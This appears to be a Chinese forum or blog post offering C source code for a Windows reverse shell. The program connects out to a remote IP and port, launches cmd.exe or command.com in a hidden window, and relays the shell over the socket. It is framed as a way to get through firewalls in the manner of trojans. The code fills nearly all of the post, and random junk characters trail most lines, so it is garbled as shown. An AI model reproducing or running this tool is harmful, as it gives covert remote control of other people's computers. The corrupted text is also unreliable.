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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 v: Av 2y  
L* Mt/  
/* ============================== g{zvks~it  
Rebound port in Windows NT 8X@p?43  
By wind,2006/7 }hralef #N  
===============================*/ zoV4Gl  
#include 'E{n1[b  
#include @hlT7C)xK  
pcd*K)  
#pragma comment(lib,"wsock32.lib") 5U&b")3IT!  
i+$G=Z#3E  
void OutputShell(); L7*,v5  
SOCKET sClient; v`"z  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; [i 18$q5D  
9Ij=~p]p  
void main(int argc,char **argv) 4aAuE0  
{ L> ehL(]!  
WSADATA stWsaData; Fb&Xy{kt1  
int nRet; uT'}_2=:  
SOCKADDR_IN stSaiClient,stSaiServer; GJ:65)KU  
^tS{a*Yn  
if(argc != 3) Z*EK56.b  
{ VQ5D?^'0/  
printf("Useage:\n\rRebound DestIP DestPort\n"); >+iJ(jqq  
return; /DG+8u  
} ?v4-<ewD  
~s@PP'!  
WSAStartup(MAKEWORD(2,2),&stWsaData);  -a``  
eSNwAExm  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }Ut*Y*  
Lo^0VD!O  
stSaiClient.sin_family = AF_INET; |H`}w2U[j  
stSaiClient.sin_port = htons(0); #-xsAKi  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); OOzk@j^  
v=kQ / h  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Z)?i&y?  
{ f}JiYZ  
printf("Bind Socket Failed!\n"); F-L!o8o  
return; Arg604V3  
} 6w3z&5DY|  
s}8(__|  
stSaiServer.sin_family = AF_INET; dW K; h  
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));  pFfd6P  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); f tS^|%p  
y0!-].5UH  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ldd|"[Ds  
{ td*1  
printf("Connect Error!"); N/wUP  
return; Gwyjie9t  
} BHoy:Tp  
OutputShell(); N03)G2  
} ;VhilWaF-  
/.54r/FN')  
void OutputShell() pKeK6K\8  
{ vL>cYbJ<  
char szBuff[1024]; 'Z(KE2&?  
SECURITY_ATTRIBUTES stSecurityAttributes; {y5v"GR{YM  
OSVERSIONINFO stOsversionInfo; HPz9Er  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; uY{zZ4iw  
STARTUPINFO stStartupInfo; D hN{Y8'~  
char *szShell; >3{#S:  
PROCESS_INFORMATION stProcessInformation; e70#"~gt[  
unsigned long lBytesRead; M]FA y"E  
 4RPc&%  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); o!nw/7|  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); s|p,UK  
stSecurityAttributes.lpSecurityDescriptor = 0; vpt*?eR  
stSecurityAttributes.bInheritHandle = TRUE; Z7\}x"hk  
Y[_{tS#u  
DrAp&A|WV|  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5Q)hl.<{o7  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); +<l6!r2Z  
.<#oLM^  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); C)x>/Qr~  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $w,O[PIi  
stStartupInfo.wShowWindow = SW_HIDE; \nfjz\"R?b  
stStartupInfo.hStdInput = hReadPipe; rM?O2n  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; i5PZ)&  
p$5uS=:4`8  
GetVersionEx(&stOsversionInfo); Ox| ?  
&c?q#-^)\+  
switch(stOsversionInfo.dwPlatformId) I_?+;<n  
{ @2yoy&IO  
case 1: wwvS05=[T  
szShell = "command.com"; %-lilo   
break; c0 I;8z`b  
default: %S`ygc}|  
szShell = "cmd.exe"; hg2a,EU\Z  
break; ILN Yh3  
} sJI" m'r=Z  
aXv[~  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ec8 iZ8h8  
M0jC:*D`"  
send(sClient,szMsg,77,0); =d+~l  
while(1) )9pRT dT  
{ oouhP1py,  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +69[06F  
if(lBytesRead) `G@(Z:]f,t  
{ QPD[uJ(I  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `6No6.\J  
send(sClient,szBuff,lBytesRead,0); M]5)u=}S-  
} "c9T4=]&t  
else A$JL"~R  
{ .RazjXAY  
lBytesRead=recv(sClient,szBuff,1024,0); j7(S=  
if(lBytesRead<=0) break; E Pd9'9S  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); )ajF ca@v  
} h!~Qyb>W  
} k<Y}BvAYB  
_?}[7K!~d  
return; R!+_mPb=Q*  
}
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